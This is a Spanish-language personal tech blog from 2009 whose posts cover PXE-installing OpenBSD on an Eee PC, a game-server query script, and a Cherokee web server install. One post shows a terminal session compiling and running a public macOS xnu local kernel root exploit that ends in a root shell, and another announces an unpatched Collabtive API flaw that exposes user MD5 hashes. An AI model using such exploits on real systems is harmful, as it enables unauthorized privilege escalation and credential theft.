lunes, 22 de junio de 2009

Installing OpenBSD on Eee PC 1000H

Fig 1. ASUS EEE PC 1000H

Hoy quise instalar OpenBSD 4.5 en el Asus para verificar que el reconocimiento de las interfaces de red si se habia hecho en esta versión. Aquí está un recuento rápido del procedimiento:

1. ¿Donde instalarlo?

Lo primero era pensar en donde instalar el sistema operativo?, si usaba una partición, o usaba todo el disco duro o ...
recordé que tenia una micro SD de 2GB disponibles, entonces decidí montarlo allí.

Fig 2. micro/mini SD de 2GB (1826MB exactly)

2. ¿Cómo lo instalo?

Recordé que mi ASUS no tiene unidad de CDROM entonces solo quedaba la alternativa de instalarlo por disco o por red, entonces mejor opte por instalarlo por red. Para esto necesitaba un servidor DHCP y un servidor TFTP corriendo en algún lado. Mi maquina Desktop es un iMAC, cual podría ser el problema al tratar de instalar estos servicios ahí?, go ahead!

3. Instalando el servicio DHCP en el iMAC

Como ya todos saben, el iMAC tiene un sistema operativo llamado Leopard (por debajo Darwin) que no es un Linux ni un BSD, es una mezcla de BSD y mach.

#uname -a
Darwin Kernel Version 9.5.0: Wed Sep 3 11:29:43 PDT 2008; root:xnu-1228.7.58~1/RELEASE_I386 i386


Estos iMAC son x86 así que no hay problema por la compatibilidad de paquetes o cosas así.

Lo que hice fue descargar el tarball del dhcp del sitio oficial ISC:

ftp://ftp.isc.org/isc/dhcp/dhcp-4.1.0.tar.gz

Desde estas fuentes compilé el software:

bash-3.2# pwd
/Users/nonroot/dhcp-4.1.0
bash-3.2# ./configure
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for gawk... no
checking for mawk... no
checking for nawk... no
checking for awk... awk
checking whether make sets $(MAKE)... yes
checking for gcc... gcc
...
bash-3.2# make
Making all in includes
make all-am
make[2]: Nothing to be done for `all-am'.
Making all in tests
make[1]: Nothing to be done for `all'.
...
Una vez compilado y como es algo temporal no lo voy a instalar en el sistema, sino que lo voy a usar del directorio compilado:

bash-3.2# pwd
/Users/nonroot/dhcp-4.1.0/server
bash-3.2# ./dhcpd
Internet Systems Consortium DHCP Server 4.1.0
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Can't open /etc/dhcpd.conf: No such file or directory
...
Me sale un error relacionado con el archivo de configuración, entonces le digo a mi madre que por favor me dicte las líneas del archivo de configuración que no me acuerdo (fake):

option domain-name-servers 192.168.0.100; ddns-update-style ad-hoc; subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.150 192.168.0.200; filename "pxeboot"; next-server 192.168.0.4; default-lease-time 300000; max-lease-time 350000; option routers 192.168.0.100; }
Estas líneas las almaceno en el archivo /etc/dhcpd.conf, en este punto es importante recordar que la variable next-server debe apuntar a la maquina donde estoy instalando el servidor dhcp y que tendrá tambien el servidor tftp.

Una vez creado el archivo puedo ejecutar el binario:

bash-3.2# pwd
/Users/nonroot/dhcp-4.1.0/server
bash-3.2# ./dhcpd
Al parecer saca un error, pero comprobamos que este corriendo:

bash-3.2# ps aux | grep -i dhcpd
root 8475 0.0 0.1 77832 768 ?? Ss 5:59PM 0:00.02 ./dhcpd
...
4. Instalando el servicio TFTP en el iMAC

Uhmm como hacemos?, toca buscar un poco en Internet y me encuentro lo siguiente:

http://www.macosxhints.com/article.php?story=20070218233806794

Allí explican muy bien, dicen que Leopard no usa el famoso inetd sino un demonio llamado launchd, este demonio carga configuraciones en xml que se encuentran en la ruta de servicios del S.O.:

bash-3.2# ls /System/Library/LaunchDaemons/ | more
bootps.plist
com.apple.AOSHelper.plist
com.apple.ATSServer.plist
com.apple.AppleFileServer.plist
com.apple.CoreRAID.plist
com.apple.DirectoryServices.plist
com.apple.DirectoryServicesLocal.plist
...
Entonces seguimos los pasos que allí nos indican:

Subimos el servicio:
bash-3.2# launchctl load -w /System/Library/LaunchDaemons/tftp.plist
Bajamos el servicio:
bash-3.2# launchctl unload -w /System/Library/LaunchDaemons/tftp.plist

El directorio raiz para el TFTP esta en:

bash-3.2# pwd
/private/tftpboot
bash-3.2#
Donde obviamente al principio no hay nada, entonces debemos entrar al ftp de OpenBSD y descargar 2 archivos:

ftp://ftp.openbsd.org.ar/pub/OpenBSD/4.5/i386/pxeboot
ftp://ftp.openbsd.org.ar/pub/OpenBSD/4.5/i386/bsd.rd

Estos dos archivos son suficientes para arrancar el sistema de instalación.
Una vez descargados los dos archivos los copio al directorio /private/tftpboot y como el archivo pxeboot buscará un archivo llamado bsd, entonces renombro el archivo bsd.rd a bsd.

bash-3.2# pwd /private/tftpboot bash-3.2# mv bsd.rd bsd
Listo, cargo nuevamente el servicio tftp y ahora configuro el ASUS para que arranque por red.

5. Arranque por red del ASUS

Entro con la opción F2 a la BIOS del sistema y busco la sección Boot, una vez allí habilito la opción "OnBoard LAN Boot ROM" y en la prioridad de boot dejo como primera opción:
"Network:Atheros Boot Agent". Aún queda faltando una cosa, debemos grabar los cambios y entrar con Shift+F10, una vez en la pantalla de boot de Atheros, debemos configurar dos campos:

Network Boot Protocol = PXE
Boot Order = Int 19H (que significa que primero intente el arranque por red y luego por el disco)

Una vez realizado estos cambios podemos reiniciar el sistema y esperar a que cargue el asistente de instalación de OpenBSD.

Fig 3. Arranque por PXE desde el ASUS

6. Instalación de OpenBSD 4.5


Seguimos el proceso tradicional de instalación de OpenBSD y cuando nos pregunte por el disco raiz en donde se va a instalar el sistema, seleccionamos sd0, OpenBSD reconoce la microSD como dispositivo sd0. Cuidado con seleccionar el wd0 porque puede borrar el disco duro (Ojo, esto es en mi 1000H, verifique su versión de asus porque algunas versiones de ASUS usan discos SD que OBSD los puede reconocer con los mismos nombres).

Cuando llegamos al punto donde nos piden los paquetes podemos hacerlo desde un mirror local o usar alguno de los sugeridos (esta fue mi opción) de esta forma el instalador se conecta a un servidor http remoto y descarga todos los .tgz necesarios para instalar el sistema (opción muuuyyy lenta).

Durante la creación de dispositivos finalizando la instalación, el sistema tomo mas tiempo del normal, pero finalmente se instaló, por favor sea paciente, estamos instalando en una microSD de mala calidad :p.

La parte simpatica del asunto es que efectivamente se nos reconocieron los dos dispositivos de red con los drivers ale y ral (así llamaré a mis dos primeros hijos), por lo tanto debemos tener dos dispositivos llamados:

ale0 y ral0

# ifconfig
lo0: flags=8049 mtu 33204
priority: 0
groups: lo
inet6 ::1 prefixlen 128
inet6 fe80::1%lo0 prefixlen 64 scopeid 0x4
inet 127.0.0.1 netmask 0xff000000

ale0: flags=8843 mtu 1500
lladdr 00:22:15:6d:59:73
priority: 0
groups: egress
media: Ethernet 1000baseT full-duplex (100baseTX full-duplex)
status: active
inet6 fe80::222:15ff:fe6d:5973%ale0 prefixlen 64 scopeid 0x1
inet 192.168.0.150 netmask 0xffffff00 broadcast 192.168.0.255

ral
0: flags=8843 mtu 1500

lladdr 00:15:af:bc:fc:4d
priority: 0
groups: wlan
media: IEEE802.11 autoselect (DS2 mode 11g)
status: active
ieee80211: nwid hack chan 11 bssid 00:0f:66:0c:7b:9d 13dB wpapsk 0xd93fc0f93a9ca36ef3cd4e5e1c51700ee80c97331f42de28bd42beadc41ed4f4 wpaprotos wpa1,wpa2 wpaakms psk wpaciphers tkip,ccmp wpagroupcipher tkip
inet6 fe80::215:afff:febc:fc4d%ral0 prefixlen 64 scopeid 0x2
inet 192.168.0.151 netmask 0xffffff00 broadcast 192.168.0.255

Para configurar la tarjeta ale0 se hace del modo tradicional (ifconfig), para configurar la ral0 y conectarme a la red inalambrica, lo que hago es pasar al siguiente paso.

7. Configuración de la tarjeta inalambrica del ASUS con OpenBSD 4.5

Cuando el AP no tiene seguridad de ningún tipo, solo basta con hacer:

#ifconfig ral0 nwid hack

donde "hack" es el ESSID de la red inalambrica.

Cuando el AP tiene seguridad es necesario configurar algo más:

Si la seguridad es WPA/WPA2 PERSONAL/ENTERPRISE TKIP


# ifconfig ral0 nwid hack wpa wpapsk `wpa-psk hack hacking123`
# dhclient ral0
DHCPREQUEST on ral0 to 255.255.255.255 port 67
DHCPACK from 192.168.0.4
bound to 192.168.0.151 -- renewal in 150000 seconds.
#
Para este caso el ESSID es: "hack" y la palabra de paso (la clave) es: "hacking123"
Lo que hicimos es meter dentro del mismo comando el cifrado que genera el comando wpa-psk.
Tambien lo podemos sacar por aparte y luego "pegarlo" en la línea de comando:

# wpa-psk hack hacking123
0x3cb27ebe4a27cf8e81bb4f81c8a72828bde42d7ba1738227494d67f3fad17b00
#

# ifconfig ral0 nwid hack wpa wpapsk \ 0x3cb27ebe4a27cf8e81bb4f81c8a72828bde42d7ba1738227494d67f3fad17b00

Funciona exactamente igual, para mas información leer el manual de wpa-psk.

Verifique que usa TKIP, si usa AES no funcionará., las pruebas las hice con PERSONAL y ENTERPRISE configurando un servidor radius aparte.

Si quieren dejar la configuración de forma permanente en el sistema, deben editar el archivo /etc/hostname.ral0

# cat /etc/hostname.ral0
dhcp NONE NONE NONE nwid hack wpa wpapsk `wpa-psk hack hacking123`
#

De esta forma cada vez que arranque el sistema pedirá una IP por dhcp.

Nota: Cada vez que quieras arrancar el asus por el SD, debes decirle en la BIOS que haga boot por el dispositivo USB, de lo contrario te dará problemas para arracar OpenBSD.

Esto es todo amigos, recuerden asistir a las charlas programadas sobre OpenBSD en la Campus ;)

lunes, 18 de mayo de 2009

Aveces quiero entrar a jugar a UT Colombia, pero no se si estará lleno el servidor o si estarán conectados ciertos jugadores y bueno, conectarse y desconectarse toma un tiempo. Entonces empece a leer sobre el protocolo que usa el servidor de juegos y como resultdo saque este mini script para saber si hay cupo o nó?, te animas a hacerlo mas completo?

bash-3.2# cat ut2.py
#!/usr/bin/python
#
#codeb by nonroot -- domain public license ---
#May 2009
"""
La consulta al servidor devuelve algo asi:
La respuesta es '['\xff\xff\xff\xffinfoResponse\n', 'game', 'q3ut4', 'maxPing', '180', 'pure', '1', 'gametype', '7', 'sv_maxclients', '16', 'clients', '16', 'mapname',
'ut4_harbortown', 'hostname', 'Ubuntu-Colombia CTF Server', 'protocol', '68']'
Para estudiar mas acerca del protocolo de red quake 3 68, puedes leer:
http://www.tilion.org.uk/Games/Quake_3/Network_Protocol
y puedes hacer lo que se te ocurra con el server :p
"""
from sys import argv, exit
from socket import *
import re, string

#servidor de UT
servidor="200.85.231.152"

#puerto del servidor
puerto=27960

#creo el socket UDP
sock = socket(AF_INET, SOCK_DGRAM)

#envio la peticion
sock.sendto('\xFF\xFF\xFF\xFFgetinfo',(servidor,puerto))

#recibo la respuesta
resp, server = sock.recvfrom(1024)

#separo los campos segun el formato que devuelve el servidor
datos=re.split(r"[\\]+",resp)

texto=">>>\n"
texto+="El servidor Ubuntu Colombia soporta: "+datos[10]+ " usuarios.\n"
texto+="Hay "+ str(int(datos[10])-int(datos[12]))+ " cupos disponibles para jugar.\n"
texto+="El mapa actual es: "+datos[14]+".\n"
texto+=">>>\n"

print texto

#cierro el socket de conexion UDP
sock.close()
bash-3.2#
¿Como se usa?

bash-3.2# python ut2.py
>>>
El servidor Ubuntu Colombia soporta: 16 usuarios.
Hay 1 cupos disponibles para jugar.
El mapa actual es: ut4_mandolin.
>>>

bash-3.2#
Espero que les sirva para algo ;)

domingo, 17 de mayo de 2009

MacOSX too!

imac-de-fernando-quintero:~ fernandoquintero$ nano exp.c
imac-de-fernando-quintero:~ fernandoquintero$ gcc -o exp exp.c
imac-de-fernando-quintero:~ fernandoquintero$ mv exp xnu-hfs-fcntl-v2
imac-de-fernando-quintero:~ fernandoquintero$ nano exp.sh
imac-de-fernando-quintero:~ fernandoquintero$ sh exp.sh
-en Apple MACOS X xnu <= 1228.x local kernel root exploit by:
http://www.digit-labs.org/ -- Digit-Labs 2008!@


-n * creating diskimage...
done
-n * attaching/mounting diskimage...
done
-e * executing exploit...

Apple MACOS X xnu <= 1228.x local kernel root exploit by:
http://www.digit-labs.org/ -- Digit-Labs 2008!@$!

* getattrlist...done
** attrlist length: 36
** fndrinfo:
* done

* setattrlist...done
* overwriting @0x0050770C
* done

* setattrlist...done
* overwriting @0x00507998
** sysent[21].sy_call: 0x0050770C
* done

* jumping...done

* getuid(): 0
+Wh00t

bash-3.2# id
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),102(com.apple.sharepoint.group.2),101(com.apple.sharepoint.group.1),4(tty),103(com.apple.sharepoint.group.3),5(operator),80(admin),20(staff)
bash-3.2#

Y para salir?, un exploit decente:

bash-3.2# touch file
bash-3.2# ls -la file
-rw-r--r-- 1 root staff 0 May 17 23:43 file
bash-3.2# exit
exit
-n * detaching/unmounting diskimage...
done
imac-de-fernando-quintero:~ fernandoquintero$


LOL

Moving a library at home

Todos sabemos lo difícil que es realizar una migración, siempre nos vamos a encontrar con problemas de compatibilidad de versiones, de sistemas operativos, de usuarios, de tiempo, dinero, etc, etc, etc. Pero una vez realizada la migración podemos sentirnos bien, pues las cosas deberían funcionar mejor de ahí en adelante (todo con un adecuado soporte).

Esta entrada en el blog la hago para felicitar a mi familia por la migración que hemos realizado durante los últimos (010) días, hemos peleado con el polvo, la suciedad, los libros, la madera, el cableado y etc. Con paciencia todo se logra ;)

¿Que pensaron?, ¿que sería un post técnico?

Fig 1. Versión 1.0 de la biblioteca (Beta)


Fig 2. Versión 2.0 de la biblioteca (Stable) - está en el SVN

sábado, 16 de mayo de 2009

National Survey of Digital Literacy

Hace unos días se viene solicitando por diferentes medios que contribuyamos respondiendo a una encuesta de carácter nacional relacionada con el tema de alfabetización tecnológica. Pues bueno, por fin saqué los 5 minutos y la llené, me pareció interesante el formato de la encuesta y la rapidez en su desarrollo. Los invito a que entren a este sitio: http://encuesta.e-ciudadano.org y participen.

Aquí están mis resultados, los que me tranquilizan porque al menos en Colombia parezco no ser un analfabeta tecnológico ;).

Fig 1. Resultados de la encuesta

viernes, 15 de mayo de 2009

Cherokee 0.99.15 on OpenBSD 4.5

Cherokee es considerado por muchos el servidor web mas rápido que existe, aún no esta en su versión estable, pero ya se comporta como si lo estuviera. Hace un tiempo trabajé en el port para tener cherokee en OpenBSD, el día de hoy he estado compilando y aplicando unos parches para que la última release, la versión 0.99.15 pueda correr sin problemas en OpenBSD.

A continuación describo el procedimiento para todos aquellos que quieran experimentar esta excelente aplicación en este excelente sistema operativo :)

1. Instale cherokee en su OpenBSD sin necesidad de compilar los ports de la versión "current", para esto use el siguiente paquete binario:

http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-0.99.15.tgz

de la siguiente forma:

# uname -a
OpenBSD astrid.nonroot.org 4.5 GENERIC#1749 i386
# pkg_add -v http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-0.99.15.tgz
parsing http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-0.99.15.tgz
Dependencies for cherokee-0.99.15 resolve to: pcre-7.8, spawn-fcgi-1.6.2 (todo: pcre-7.8,spawn-fcgi-1.6.2)
cherokee-0.99.15:parsing pcre-7.8
found libspec c.50.1 in /usr/lib
cherokee-0.99.15:pcre-7.8: complete
cherokee-0.99.15:parsing spawn-fcgi-1.6.2
found libspec c.50.1 in /usr/lib
cherokee-0.99.15:spawn-fcgi-1.6.2: complete
found libspec c.50.1 in /usr/lib
found libspec crypto.17.0 in /usr/lib
found libspec pcre.2.2 in package pcre-7.8
found libspec pthread.11.1 in /usr/lib
found libspec ssl.14.0 in /usr/lib
adding group _cherokee
adding user _cherokee
installed /etc/cherokee/cherokee.conf from /usr/local/share/examples/cherokee/etc/cherokee.conf****************************************************************************** | 99%
installed /var/cherokee/images/cherokee-logo.png from /usr/local/share/examples/cherokee/www/images/cherokee-logo.png*********************************************************| 100%
installed /var/cherokee/images/default-bg.png from /usr/local/share/examples/cherokee/www/images/default-bg.png
installed /var/cherokee/images/powered_by_cherokee.png from /usr/local/share/examples/cherokee/www/images/powered_by_cherokee.png
installed /var/cherokee/index.html from /usr/local/share/examples/cherokee/www/index.html
installed /var/log/cherokee/cherokee.access from /usr/local/share/examples/cherokee/www/index.html
installed /var/log/cherokee/cherokee.error from /usr/local/share/examples/cherokee/www/index.html
cherokee-0.99.15: complete
--- cherokee-0.99.15 -------------------
To complete the installation, you need to configure cherokee. As root:
# cherokee-admin -b [IP]
(where IP is a trusted IP used to configure your web server)

If you want to run cherokee on boot, add these lines to /etc/rc.local:

if [ X"${cherokee_flags}" != X"NO" ]; then
echo -n ' cherokee'
/usr/local/sbin/cherokee-guardian ${cherokee_flags} 1> /dev/null
fi

for admin management:

if [ X"${cherokee-admin_flags}" != X"NO" ]; then
echo -n ' cherokee-admin'
/usr/local/sbin/cherokee-admin ${cherokee-admin_flags} 1> /dev/null &
fi

and in /etc/rc.conf.local :

cherokee_flags="-d" # use -d to run in daemon mode
cherokee-admin_flags=NO # use -b if you want listen on ALL interfaces
#
Como puede ver solo ejecutamos un comando y ya tenemos instalado cherokee en nuestra maquina (todas las dependencias son descargadas desde el mismo sitio, asi que no hay problema).

2. Al finalizar la instalación sale un mensaje informativo, donde nos explican que si queremos hacer que cherokee se inicie en cada arranque de sistema debemos agregar unas líneas a los archivos de arranque, si no lo queremos hacer, podemos obviar este paso.

Al final del archivo /etc/rc.local agregamos las siguientes líneas:

if [ X"${cherokee_flags}" != X"NO" ]; then
echo -n ' cherokee'
/usr/local/sbin/cherokee-worker ${cherokee_flags} 1> /dev/null
fi

if [ X"${cherokee-admin_flags}" != X"NO" ]; then
echo -n ' cherokee-admin'
/usr/local/sbin/cherokee-admin ${cherokee-admin_flags} 1> /dev/null &
fi
Esto logra que el sistema de arranque evalue la posibilidad de arrancar el servidor web cherokee o su interfaz de configuración, validando las variables cherokee_flags y cherokee-admin_flags.

El siguiente paso es agregar al archivo /etc/rc.conf.local las variables que determinan el arranque.

cherokee_flags="-d" # use -d to run in daemon mode
cherokee-admin_flags=NO # use -b if you want listen on ALL interfaces
Si las dejas así como estan, cherokee iniciará, pero no cargará su interfaz de configuración, esta es la opción RECOMENDADA.

NOTA: Se dió cuenta del cambio de la palabra guardian por worker?, esto es porque en el paquete de instalación aún no he corregido algunas cosas, entonces tenga en cuenta que para subir cherokee no debe usar el comando cherokee-guardian sino cherokee-worker.

3. Ahora solo nos queda probar entrando a la IP de la maquina que tiene el servicio instalado.


Fig 1. Página de bienvenida de cherokee

Bien, ahora teniendo cherokee instalado seguro va a querer probar la interfaz de configuración, para esto es necesario instalar otro paquete adicional, puesto que toda la interfaz esta programada en python. Si ya tienes python en tu sistema, no será necesario este paso.

# pkg_add -v ftp://ftp.openbsd.org/pub/OpenBSD/4.5/packages/i386/python-2.5.4.tgz
parsing ftp://ftp.openbsd.org/pub/OpenBSD/4.5/packages/i386/python-2.5.4.tgz
Dependencies for python-2.5.4 resolve to: sqlite3-3.6.10, bzip2-1.0.5 (todo: bzip2-1.0.5,sqlite3-3.6.10)
python-2.5.4:parsing bzip2-1.0.5
found libspec c.50.1 in /usr/lib
python-2.5.4:bzip2-1.0.5: complete
python-2.5.4:parsing sqlite3-3.6.10
found libspec c.50.1 in /usr/lib
found libspec ncurses.10.0 in /usr/lib
found libspec pthread.11.1 in /usr/lib
found libspec readline.3.0 in /usr/lib
python-2.5.4:sqlite3-3.6.10: complete
found libspec bz2.10.4 in package bzip2-1.0.5
found libspec c.50.1 in /usr/lib
found libspec crypto.17.0 in /usr/lib
found libspec expat.9.0 in /usr/lib
found libspec m.5.0 in /usr/lib
found libspec ncurses.10.0 in /usr/lib
found libspec ossaudio.3.1 in /usr/lib
found libspec panel.3.0 in /usr/lib
found libspec pthread.11.1 in /usr/lib
found libspec readline.3.0 in /usr/lib
found libspec sqlite3.13.0 in package sqlite3-3.6.10
found libspec ssl.14.0 in /usr/lib
found libspec stdc++.47.0 in /usr/lib
found libspec util.11.0 in /usr/lib
found libspec z.4.1 in /usr/lib
python-2.5.4: complete
--- python-2.5.4 -------------------
If you want to use this package as your default system python, as root
create symbolic links like so (overwriting any previous default):
ln -sf /usr/local/bin/python2.5 /usr/local/bin/python
ln -sf /usr/local/bin/python2.5-config /usr/local/bin/python-config
ln -sf /usr/local/bin/pydoc2.5 /usr/local/bin/pydoc
# ln -sf /usr/local/bin/python2.5 /usr/local/bin/python
# ln -sf /usr/local/bin/python2.5-config /usr/local/bin/python-config
# ln -sf /usr/local/bin/pydoc2.5 /usr/local/bin/pydoc

Instalamos el paquete desde el repositorio oficial y luego creamos los enlaces simbolicos que nos sugieren. Despues de esto ya podemos habilitar la interfaz de configuración, para esto ejecutamos el siguiente comando:

# cherokee-admin -b

Login:
User: admin
One-time Password: 4X8VkNyPAjYpW7op

Web Interface:
URL: http://localhost:9090/

Cherokee Web Server 0.99.15 (May 15 2009): Listening on port ALL:9090, TLS
disabled, IPv6 disabled, using poll, 128 fds system limit, max. 57
connections, caching I/O, single thread
Vas a observar que el cherokee nos da información acerca de la contraseña que necesitaremos para ingresar al sistema, copia esta contraseña y usala cuando entres al sitio web.

Fig 2. Ingreso a la interfaz de configuración de cherokee

Puede ser que al intentar entrar en la interfaz de administración obtengas este error:

Este error se presenta cuando no tenemos python instalado en el sistema o no hemos creado adecuadamente los enlaces simbolicos que nos sugieren. Por el contrario, si todo marcha bien, veremos algo así:

Fig 3. Interfaz de configuración de cherokee

Todos los cambios realizados en la interfaz web se verán reflejados en el archivo /etc/cherokee/cherokee.conf, tambien recuerda que para agregar contenido a tu sitio web puedes usar el directorio /var/cherokee mas conocido como el "DocumentRoot".

Y bueno para terminar, si requieres usar alguno de los complementos de cherokee, por ejemplo el validador de mysql o ldap puedes instalar los paquetes adicionales, por ejemplo, para instalar el soporte de autenticación contra un servidor LDAP, puedes instalar el paquete así:

# pkg_add -v http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-ldap-0.99.15.tgz
parsing http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-ldap-0.99.15.tgz
Dependencies for cherokee-ldap-0.99.15 resolve to: openldap-client-2.3.43, cherokee-0.99.15 (todo: openldap-client-2.3.43)
cherokee-ldap-0.99.15:parsing openldap-client-2.3.43
Dependencies for openldap-client-2.3.43 resolve to: cyrus-sasl-2.1.22p4 (todo: cyrus-sasl-2.1.22p4)
cherokee-ldap-0.99.15:parsing cyrus-sasl-2.1.22p4
found libspec asn1.16.0 in /usr/lib
found libspec c.50.1 in /usr/lib
found libspec com_err.16.0 in /usr/lib
found libspec crypto.17.0 in /usr/lib
found libspec gssapi.5.0 in /usr/lib
found libspec krb5.16.0 in /usr/lib
cherokee-ldap-0.99.15:cyrus-sasl-2.1.22p4: complete
found libspec asn1.16.0 in /usr/lib
found libspec c.50.1 in /usr/lib
found libspec com_err.16.0 in /usr/lib
found libspec crypto.17.0 in /usr/lib
found libspec gssapi.5.0 in /usr/lib
found libspec krb5.16.0 in /usr/lib
found libspec sasl2.2.22 in package cyrus-sasl-2.1.22p4
found libspec ssl.14.0 in /usr/lib
installed /etc/openldap/ldap.conf from /usr/local/share/examples/openldap/ldap.conf******************************************************************** | 82%
cherokee-ldap-0.99.15:openldap-client-2.3.43: complete
found libspec asn1.16.0 in /usr/lib
found libspec com_err.16.0 in /usr/lib
found libspec crypto.17.0 in /usr/lib
found libspec gssapi.5.0 in /usr/lib
found libspec krb5.16.0 in /usr/lib
found libspec lber.9.1 in package openldap-client-2.3.43
found libspec ldap.9.1 in package openldap-client-2.3.43
found libspec sasl2.2.22 in package cyrus-sasl-2.1.22p4
found libspec ssl.14.0 in /usr/lib
cherokee-ldap-0.99.15: complete
#

Eso es todo, dudas, sugerencias en los comentarios.

Buena energia para el proyecto cherokee y larga vida a OpenBSD !

miércoles, 13 de mayo de 2009

Bug and Exploit for Collabtive


Existe un proyecto llamado collabtive que nos permite gestionar proyectos, el soft es bonito y tiene algunas features interesantes. Como lo estoy usando y segun la politica interna (mia) #456 que dice: "Debes auditar todo el código de los proyectos que uses ...", decidí darle un chequeo a la aplicación en el sistema de validación y encontre que todo estaba bien!, deprimido por no haber encontrado nada, decidí comerme un manimoto® y abrir un enlace al archivo API y bueno, ya conocen el resto ...

El bug fué informado, sin embargo puede que los desarrolladores no consideren importante que se puedan ver los usuarios y hashes MD5 de la BD que usa el soft.

En fin, la moraleja es que los archivos que no estan ligados directamente a la autenticación o el manejo de sesiones, deben estar igual de protegidos contra posibles entradas inesperadas.

Queda como tarea de johana explicar el error en la llamada de la API.

Saludos.

pd: AHH!, quieren ver la salida?: click here.

pd2: Por favor no usen ESTE sitio para romper el MD5, no les va a funcionar.

pd3: En guindows no funciona el bug de la misma forma, pero es posible explotarlo, porque?, porque?

Entradas populares